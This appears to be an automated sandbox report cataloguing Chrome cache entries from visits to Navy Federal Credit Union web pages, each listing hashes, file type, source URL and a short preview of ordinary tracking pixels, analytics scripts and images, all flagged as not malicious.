Preview:	lpZonesStaticCB([{"id":565285112,"createdDate":"2016-03-15 10:22:25","modifiedDate":"2016-03-15 10:22:25","name":"Right Overlay","deleted":false,"zoneType":1,"mainZone":false,"capping":0,"mapping":[{"engagementSubType":26},{"engagementSubType":17},{"engagementSubType":24},{"engagementSubType":19},{"engagementSubType":18},{"engagementSubType":22},{"engagementSubType":27}],"isDeleted":false},{"id":565285312,"createdDate":"2016-03-15 10:22:25","modifiedDate":"2016-03-15 10:22:25","name":"Left Overlay","deleted":false,"zoneType":1,"mainZone":false,"capping":0,"mapping":[{"engagementSubType":23},{"engagementSubType":15},{"engagementSubType":16},{"engagementSubType":21},{"engagementSubType":25},{"engagementSubType":20},{"engagementSubType":14}],"isDeleted":false},{"id":565285512,"createdDate":"2016-03-15 10:22:25","modifiedDate":"2016-03-15 10:22:25","name":"Offsite","deleted":false,"zoneType":2,"mainZone":false,"capping":0,"mapping":[{"engagementSubType":28},{"engagementSubType":29},{"engag

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://trkn.us/pixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905%20height=;ip=8.46.123.175;cuidchk=1
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3138)
Category:	downloaded
Size (bytes):	3284
Entropy (8bit):	5.455942869879721
Encrypted:	false
SSDEEP:	48:mToY9+qw87WpFtuOXMfUFyJZAeNeMqOIDcgjHQ0jOpXSHVajXKCw1tngEo:ms2+qJWpFtu4MvX0Mb0jOpXOCN
MD5:	B89FCB8870AC40EECB6D3CC844D35389
SHA1:	1BBDE1A85912BDEFF9C9CF55BF2FB3969D245874
SHA-256:	78C1C1BAF0D964522F8AFAB09CFC754685C1648826A7F9967FD52B774B4EC5AA
SHA-512:	80285D0F67F80E522159222157417814F244C000B1C7022158AB12A3744695F781650C0FA2ACCEFAB4175C5711B6C432DFFB3F1D1A38F55968AC92F9763AD214
Malicious:	false
Reputation:	low
URL:	https://assets.adobedtm.com/extensions/EPbf7b42aa08bc4f10879b1484195e80d1/AppMeasurement_Module_ActivityMap.min.js
Preview:	// For license information, see `https://assets.adobedtm.com/extensions/EPbf7b42aa08bc4f10879b1484195e80d1/AppMeasurement_Module_ActivityMap.js`..function AppMeasurement_Module_ActivityMap(e){function t(){var e=s.pageYOffset+(s.innerHeight\|\|0);e&&e>+f&&(f=e)}function n(){if(l.scrollReachSelector){var t=e.d.querySelector&&e.d.querySelector(l.scrollReachSelector);t?(f=t.scrollTop\|\|0,t.addEventListener("scroll",(function(){var e;(e=t&&t.scrollTop+t.clientHeight\|\|0)>f&&(f=e)}))):0<g--&&setTimeout(n,1e3)}}function r(e,t){var n,r,i;if(e&&t&&(n=l.c[t]\|\|(l.c[t]=t.split(","))))for(i=0;i<n.length&&(r=n[i++]);)if(-1<e.indexOf(r))return null;return e}function i(t,n,r,i,a){var c,o;if((t.dataset&&(o=t.dataset[n])\|\|t.getAttribute&&((o=t.getAttribute("data-"+r))\|\|(o=t.getAttribute(r))))&&(c=o),!c&&e.useForcedLinkTracking&&a){var l;if(t=t.onclick?""+t.onclick:"",n="",i&&t&&0<=(r=t.indexOf(i))){for(r+=i.length;r<t.length;)if(o=t.charAt(r++),0<="'\"".indexOf(o)){l=o;break}for(var s=!1;r<t.length&&l&&(o=t

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	6540
Entropy (8bit):	7.930845545425387
Encrypted:	false
SSDEEP:	192:+WM4uJz11LPv+NL8MuwRH+fyQO4HCHNOoj4D4wG7CKn:fuV11rYxuwEfS4HCHNOa4sL7CKn
MD5:	5185E427EDDB47724948AD97AB1B8C7A
SHA1:	A6162386F192600C352A97BC7C885EF1300F8DA8
SHA-256:	C9B3A6BE25F9D44B2BACA7783C991651402AD29CBF04975910D92B569E8C8083
SHA-512:	F11C0AB47258D9D5121E879CE2985CF1FBEA093F7D127F163BB2E3232FF2F6F629B7BF569F4730767164F5B6BC61D2341704B69CEC7CB2F14787F01FFB927DA7
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/martin230208nfcu00451?qlt=80&wid=320&ts=1714681870823&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D................r...(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma..................zmdat.....!......h@2.0.p.E.Q@.I..!.S.y.k.8]....J......ZI..&....y/...t-...j.0$.v.W.e."p..wuTo..u;....Z...M..p.c..rb.#.......r.".a.....^aA-...;+r.,.MA61..o\|..`.]...%.l....vn.,-$.k..tu.pP.f.vxF.......H.s*$.#.+......!..?..-...x.?E....u..VWhk~cO.7.6...3s...t.w..2mVs..2.2K..>..&.Og...2..v'.AoX..>2-..<.^wP.~.>.L). .u.T....w..sK..J.%Zoh.Is.l....E...{..I9x....=j.l..m.).?....u....QVH.....b.T.$.IY.4.5A..'d./C...r7{P....p..I'.Qs...$...Y?..>..W.)..J0..7<L....N...W\.A..0Vv@ ..)..T.,....A.........y...2....3.D8..b....VI...1N....k..]\|h.0<x.Pj.L........j.r]..=...........h.tBLF.{..= ...H&.5<.&l.../.O.Z.&.......x.5.5...US..N.{...P..6...=3s..%.....B.F.#\b`g._X.]c..t.a%...k..=.^.<t@....N......]..{....

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	11145
Entropy (8bit):	7.96570671258479
Encrypted:	false
SSDEEP:	192:+WLX1tIyOxy1hrLQ5gszSD69QWLasl+eoKoZ/o/3fmRt1ktGsUv0/Nd5AekVA+Ye:LeP0QC6kleo7eOR7ktOvkNRsA+YBs9
MD5:	582219C7859FF392C1119441D90590F3
SHA1:	4CB84F367F44BEB9B6FE73DEA91AFAC01EAE76EF
SHA-256:	D23DE4972326E9FE730518DBA64603AC24005B445A84EE71B9C10398DAAFF9BC
SHA-512:	A0D72A0000EBE3F54FD47B27315E8DE18308A1A902545A32921AE7AECE78DA8EDF1834B093E7CA3D6332CBF3F44D0157F60CBFD4FDB36FC211A22529D0DDB65C
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/20200216-179a-navy-federal?qlt=80&wid=320&ts=1714681870823&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............o...(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma.................wmdat.....!......h@2.T.p.E.Q@.+{..z.`..j.'B.~P.l..........(-...B.......A...UA..&.%W...V..?.....5o..H.....q../.@.0.?"J......Ir.......6...H..l..7..q..+....R........xJb..2.h........../.J...~Dq..g..7.g..GBLc:.....>...J,...t.%w../5..L.n.-.>X).......d....nF....EQ[.....C.5.....m.y.pRx1.`H..8.eN.vWb.'?O6!....u._.....!..J-....tW..-f.... ....$e..y.u......O.%i..f..ED..".-....&.3a..w.Ga.#..6B^x.......<.%YB.Z)...C@...Gm....GI.w...;MmS8Fsw.....L.n/.3N@.......2.o....R... ....=.z.bl .bH81........%M.>.[.A.....#.X..]..A.Wu.A..$.w.j.q....hQ`..!=.R ..(.'..aI".O....7..Y..p.\.1<......EG.(..Oy@+..f.H6...%......;......,...UCW.....WxkBP.....s)^......f.P4p.}..K._...kLS...x.t........;.5us#\.\]..#.v$K...6X7.....

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive/check?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10120), with no line terminators
Category:	downloaded
Size (bytes):	10120
Entropy (8bit):	5.360492082139352
Encrypted:	false
SSDEEP:	192:MLTVN4eglsWbz6lybr3I1xtcWUzYR2xuvWERPKDB3b:MMOtcWUzYR2xuvW+6B3b
MD5:	7B135795510211B2FD1D12EC96FFCF99
SHA1:	7CF72E67E61EA31883039554E5CA2D99AAE67EC2
SHA-256:	D4841FBEDEF731A0BEF099053E22FDCC1F70279682C5F4AF57A04AC23A81A16A
SHA-512:	AA83AA70652DC850469A13A3BB22D7A483705C4054B50064AEEA7574F6FA3083B81C817244E738E1C96BC6DD6E63AD4F46A0BC784374A2D6254FD4831E5669B2
Malicious:	false
Reputation:	low
URL:	https://bttrack.com/engagement/js?goalId=15654&cb=1716590801775
Preview:	(function(bidtellect){"use strict";var JSON={};bidtellect.JSON=JSON;function f(n){return n<10?"0"+n:n}var toString=Object.prototype.toString;var REPLACERS={Date:function(key){var ms=this.valueOf();return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"."+("00"+ms%1e3).slice(-3)+"Z":null},String:String.prototype.valueOf,Number:Number.prototype.valueOf,Boolean:Boolean.prototype.valueOf};var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"'+string.replace(escapable,function(a){var c=meta[a];r

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (575)
Category:	downloaded
Size (bytes):	924
Entropy (8bit):	5.36416852180088
Encrypted:	false
SSDEEP:	12:XqJmW/m26qvfNV4NbxTHQuqJmrtr1WcFPYJjzYP1QlKJjzE2hkfTHddrQb:si2N1V4NxwZG1xAjzKA+jztGY
MD5:	26B6D85DD1B154021E90E10E50C74BFE
SHA1:	A88AF35E493487CD5362B294816CD3BB9E668A4A
SHA-256:	93FFB36EE72AC6E1F1E5A937397BDCCCDA126515954A34A29DF1497DA312729C
SHA-512:	5CFB5BF2FBBBD7CA7873C094166BABB11DE8E62523779408311E3F7BACE69080DB4222F7422F5209A20973D07D3AFB38226AB37EE3C2AE56526FB2EB8BCB0367
Malicious:	false
Reputation:	low
URL:	https://insight.adsrvr.org/track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&upid=4b42dtd&upv=1.1.0&paapi=1
Preview:	.<html>.<head>. <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script>.</head>.<body>. <div id="universalPixelContainer">. <script type="text/javascript">. (function(global) { . var ttdcm = new TTDCM(); . ttdcm.init( ["https://uipglob.semasio.net/tradedesk/1/get?sType=sync&sExtCookieId=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&sInitiator=external&_url=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dsemasio%26gdpr%3D0%26gdpr_consent%3D","https://io.narrative.io/?companyId=127&id=ttd_id:00d6b47b-5df0-41e1-812e-c334ebaa9abf&red=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dazhe26g","https://mid.rkdms.com/bct?pid=02760a75-50e3-4c64-b77b-fb5fcd04e437&_ct=img&puid=00d6b47b-5df0-41e1-812e-c334ebaa9abf"] );. })(this);. </script>. </div>.</body>.</html>

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/src=9749892;dc_pre=CJvvuIevp4YDFQjyOwIdofgLng;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1290)
Category:	downloaded
Size (bytes):	2884
Entropy (8bit):	5.388370036519357
Encrypted:	false
SSDEEP:	48:yQreUrj+6ATfxK0bTre0qfcwxskwFNg1gEP93mzk/Wbw1SKkw9spZ+yzM:yQVuhT0bOkqguEVWsgwYZtg
MD5:	498F059988D213D5192AD73B5E8F309A
SHA1:	CB644A4401CD8BBC49374CCB4EA2D2E1CBDF534B
SHA-256:	4E644D88EC3943BF96B443A4199633794A8B977C9B79626E4D9E7E7354953485
SHA-512:	F0B82598D58B1362E0033E145DCA9242F0EA546B01FD0470BD654BAE5322F61D03B0CD2766E33D7C1B3F1EE3D62D84526A61B5C6BB30BA1A546DE5B12AF8F255
Malicious:	false
Reputation:	low
URL:	https://live.rezync.com/sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID=navy-federal-credit-union&cache_buster={cache_buster}
Preview:	(async function () {...var rangeObj = document.createRange(); var documentFragment = rangeObj.createContextualFragment ('<script async type="text/javascript">\n function li_call() {\n var l = document.createElement("img");\n cache_buster = Date.now();\n\n var l_src = "https://live.rezync.com/sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster="+cache_buster;\n l.setAttribute("src", l_src);\n l.setAttribute("height", "1px");\n l.setAttribute("width", "1px");\n l.setAttribute("style", "display: none;");\n document.body.appendChild(l);\n }\n\n if (["complete", "interactive"].indexOf(document.readyState) >= 0) {\n li_call();\n } else {\n window.addEventListener("DOMContentLoaded", function(){\n li_call();\n });\n }\n</script>'); document.body.appendChild(documentFragment);....var rangeObj = document.createRange(); var documentFragment = rangeOb

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	12568
Entropy (8bit):	7.9751856136246015
Encrypted:	false
SSDEEP:	384:g3AzTQ4BXbd8P4/L7sIIejfQj/F3Kog91NP/Dl:44SmouEF5iZ5
MD5:	1627BD7B8151E554911179260F474D22
SHA1:	690AE685B042B5BE2D225EDF1BDD81E0894096D1
SHA-256:	524A21CE2272B1A6D460EA7086C825D928905534026C3C695BA38AF90023F1D9
SHA-512:	A17F2B6C7874AE94E67384A7BBCE1D7C5298BB9D11346A93193847BE9F226F35892F156D01FBBEA6D63AF870C57498596A35DF82643FBA5A1A7B7F68544E6254
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/gettyImages-669887538?qlt=80&wid=320&ts=1711252930165&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D.............../....(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma.................0.mdat.....!......h@2._.p.E.Q@...,L.....n....V.k..)......jM..0.......cp,5z...$.k...p...F..H.......,.7u .Z..M...V...R..#+.gCa.v.v.SJQ.....\|V.9k.;u4..U.9.=......-5O.).T.V..o...<]:].w(....HiK.....5.o.......Q..1....x......A!.r....q.k..A...oGh..x.W....KBH....5A....].3...C..Zz.X7....P...s...R.^Vq...6....%.d.i..@.3.f..).3..!1.G z.A..f.....pz.h...[9.W.......jB..S"\|K..,...j......w.?.6d.....zz...=..,...?.G..R.y..........Ez...-....xsuH..l..A.8.%.q.IH... .K..#...3j._.&8).:F...SPf. `.4=....$..Oz(...KO..'`... ?E.M.....#...q..\|N}....n`.L..L.g..g.....$.Q.I."...5..mqz..G....!.T..._..=z.@.!...P.I>+..m../..=..G..J.s.\|l>i.OiXt.../..............@...iRn...._..>xs...Aq..s.X.8.....]........}.=V.E

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	136
Entropy (8bit):	5.0853027064954475
Encrypted:	false
SSDEEP:	3:GMyoSbDKth2XbGZF3KNrJoPXluc+0CnWKkU9K+CGXP:jFSbqSm6NrO9uZ0CnWHCfFXP
MD5:	E113BAE352722E4BE7C9D0FAC8345872
SHA1:	24EB6EDA33880DFC8EF483548FD77687ED572808
SHA-256:	792655F35DD4E9AA540DBA143F1EA9D0C77D92B63D3C16B6CA9A574B71DD5590
SHA-512:	785FC6E415CEB84EFD2750A99504A9996EAF2B7BFF183BBFF51DDE68C39A29F5CD75C8177C817A3AE0F1D98B79C52EBC0FE9A443271EC4AD9013527780992135
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwk8ffK9NLFyVBIFDeeNQA4SBQ3OQUx6EhAJwXw2jHW8mfkSBQ2niD32EhcJcS0uCQr7kAwSBQ14bxIZEgUNu9qhSxIXCeLBc3Gy0yzFEgUNdgu7MBIFDeLIpMMSFwnXKJTMmOwVXRIFDaywtrYSBQ28BGcsEhAJB6VNNNr8uSoSBQ3N5wzB?alt=proto
Preview:	ChIKBw3njUAOGgAKBw3OQUx6GgAKCQoHDaeIPfYaAAoSCgcNeG8SGRoACgcNu9qhSxoAChIKBw12C7swGgAKBw3iyKTDGgAKEgoHDaywtrYaAAoHDbwEZywaAAoJCgcNzecMwRoA

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	11976
Entropy (8bit):	7.97065293610705
Encrypted:	false
SSDEEP:	192:+Wu8pXQgeewjfxXErolhpxrivWNP1UXyKSOSDvm18FolP:7XQZXGwpeodUX/6De1u0
MD5:	92D0FF6FA4C5FCB39001014088014E72
SHA1:	AE7B9F316BA903AC822BFAB31C0EAB8CC3305458
SHA-256:	61CB292C26A7232F262D1BC20DA64A9A52E3A903F231EF0520FEB846BD255077
SHA-512:	5E09FC1F04CDB42D45CAD8390791F649A1E006D3BA833EBDDB33F2F47F97F2686FA0C56D35D1265DFDCD32E66DB2C56E318E6606724BABA155B5FE34F2ED5E84
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/child-identity-theft-article?qlt=80&wid=320&ts=1689214546618&&fmt=png-alpha&fit=constrain&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............-....(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma.................-.mdat.....!..L...h@2.[. ...A@.Ig.......5..M/..v.:.#w+..z`u.EF\j...x.....&2'.......&...f0./..1...y......... .#....{hrO..D.E.Z...O.j...k..W...^m....G..R...{!...5..../s.Xl,d......FP YK.%.O..zN..I..\|.....g..4......U`..5...q.m........!.A.hSw...lO.>L.u6../0...C1q...y. 1...........q...^..d..i..}.......r..!.!q7n.!.."D....>\q....i.S....o..^...!.SzA... .,..l....K.V.X..~..{...F/...v.....T.!Y.......6...*.P.5-..FZxxXCc..u}.\|).$........]..js#..t.q......6U.D...f....x..C.6.9..+.t~..\|...F..(.7":.M...7?.8.k.'..!{.........'.z.s^......W.s&...?..}....[."..%4...<."..U...[..\...v..,.P..@T9d...........E..KZz.!...u..Y......f.w8<..k]......>...(./[..#$.$.gM..2h.x9......:X'.E.a....0...=.$..`.!.......>''?.).N+.9..g

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1813
Entropy (8bit):	5.283358086676831
Encrypted:	false
SSDEEP:	48:0OlhWc4JckVsJ+eF9zh9iktX8+5FdiRQbLde:TKH3g1kqde
MD5:	D7675CA4CF9C81A0E94F3FA809C4D5DB
SHA1:	9A2F1F5F50442A5363B2F42E58585EF8EDA5AB3E
SHA-256:	9488CB0046ABFA287953E0596B62B607866EBEDB228C02E274BB7F51E9624E60
SHA-512:	1E8F3DA461CEA2EC94F83C82C185B98D2259E5C370B4C76EAE48F9C85F60509FCE6878ADD871A3948796E3A3ACBA58DD17332978175753CB5E21963132F799AC
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/content/nfcu/va-loans-logo?ts=1713556539016&dpr=off
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 343 346"><defs><style>.cls-1,.cls-2{fill:#231f20;isolation:isolate;}.cls-1{opacity:0.1;}.cls-2{opacity:0.3;}.cls-3{fill:#f49322;}.cls-4{fill:#ed780f;}.cls-5{fill:#0f3d70;}.cls-6{fill:#1b68b2;}.cls-7{fill:none;}</style></defs><g id="Group_19176" data-name="Group 19176"><path id="Path_1341" data-name="Path 1341" class="cls-1" d="M167.87,110.54l-125,85L43.28,210,167.87,125.4Z"/><path id="Path_1342" data-name="Path 1342" class="cls-2" d="M292.87,195.57l-125-85V125.4L292.45,210Z"/></g><g id="Group_19175" data-name="Group 19175"><path id="Path_1341-2" data-name="Path 1341-2" class="cls-1" d="M167.87,184.53l-125,85L43.28,284l124.59-84.61Z"/><path id="Path_1342-2" data-name="Path 1342-2" class="cls-2" d="M292.87,269.55l-125-85v14.86L292.45,284Z"/></g><path id="Subtraction_127" data-name="Subtraction 127" class="cls-3" d="M43.13,196.53h0V159.12L167.87,76.93l.26.18v37.41l-.26-.17Z"/><path id="Subtraction_130" d

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26742), with no line terminators
Category:	downloaded
Size (bytes):	26742
Entropy (8bit):	5.483467930657629
Encrypted:	false
SSDEEP:	384:si63R4M3jFkfHlHL91cCVVbO8IkFzjBCK2be7R1G1E2JnkNA3:siC5U5OCb68IkFRCKSj
MD5:	D4ECA7F8043C1192B1D3CBFF078AED37
SHA1:	1B2EA5F859B871C30E2D721CB4F14E0BF68F6AE4
SHA-256:	F9A5649D70F74CDE04AB0C3F8A8F41810772E9970BEFA7FEE8E339BCF4DD3B08
SHA-512:	69A6B64B5578C5E774ABB9D203C55CD94AF6CB5366F1E47C5ABD31719E6F8F642E41DE989636D0A72E8E25B75EFD11B895C7BEAAA5CFD7697AC30604C2921199
Malicious:	false
Reputation:	low
URL:	https://lptag.liveperson.net/tag/tag.js?site=11478817
Preview:	window.lpTag=window.lpTag\|\|{};lpTag.taglets=lpTag.taglets\|\|{};lpTag._tagv="4.1.10";!function(a,b){function c(c,d,e){b._logcnt=b._logcnt\|\|0;H(c,d,e,b._logcnt);if("undefined"!=typeof a.lpTaglogListeners&&a.lpTaglogListeners.constructor===Array)for(var f=0;f<lpTaglogListeners.length;f++)try{lpTaglogListeners[f](c,d,e,b._logcnt)}catch(g){H("Exception="+g.message+" msg="+c,d,e,b._logcnt)}b._logcnt++}function d(a){if(a)for(var b=0;b<a.length;b++)qa[a[b].service]=a[b].baseURI}function e(){for(var a=Ga.PRODUCTION,c=b.ovr&&b.ovr.domain,d=0;d<Ha.length;d++)if(Ha[d].tagDomain===c){a=Ha[d].env;break}return a}function f(a){var b;a=a\|\|e();if("string"==typeof a)for(var c=0;c<Ha.length;c++)if(Ha[c].env===a){b=Ha[c].tagDomain;break}return b}function g(a){var b=qa[a],c="ALL";return b?b:qa[c]}function h(){return qa}function i(a){return l(ra,a)}function j(a){return l(sa,a)}function k(a,b){for(var c in b)b.hasOwnProperty(c)&&(a[c]=b[c])}function l(a,b){var c;c="undefined"!=typeof b?"undefined"!=typeof a[b]

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=*;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
URL:	https://collector-11598.tvsquared.com/tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=425240&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (562)
Category:	downloaded
Size (bytes):	186682
Entropy (8bit):	5.613202981037154
Encrypted:	false
SSDEEP:	3072:YyDFS9qhc+EympdsORoAgjIdCINiKy2j/xRS9Ht3a4gGoyn+kvCIerwnDSjQIl0I:lhS9qhc+EympddRtOIdCINiKy2j/+Zh4
MD5:	0544951544EB50E44CD954DA954D994C
SHA1:	77A04D03DB7B6302CA8D7B3E1EE6D6E6C2A2BB7E
